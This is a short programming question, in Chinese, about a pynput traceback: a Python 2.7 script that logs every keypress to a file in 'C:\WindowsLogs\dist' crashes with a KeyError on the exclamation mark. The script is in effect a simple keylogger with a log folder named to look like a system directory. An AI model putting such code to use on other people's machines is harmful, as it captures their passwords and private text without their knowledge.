pynput组合感叹号

这是我的代码:

from pynput.keyboard import Key, Listener
import os
import logging

log_dir = "C:\WindowsLogs\dist"
filename = "logging"
logging.basicConfig(filename=(log_dir + filename), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

一切都很好,它也保存了每一把钥匙。但当按下感叹号时,会出现错误:

Traceback (most recent call last):
File "test2.py", line 16, in <module>
listener.join()

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 185, in join
six.reraise(exc_type, exc_value, exc_traceback)

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 140, in inner
return f(self, *args, **kwargs)

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 232, in _process
key = self._event_to_key(msg, vk)

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 265, in _event_to_key
msg in self._PRESS_MESSAGES))

File "C:\Python27\lib\site-packages\pynput\keyboard\_base.py", line 49, in __init__
'COMBINING ' + unicodedata.name(self.char))

KeyError: "undefined character name 'COMBINING EXCLAMATION MARK'"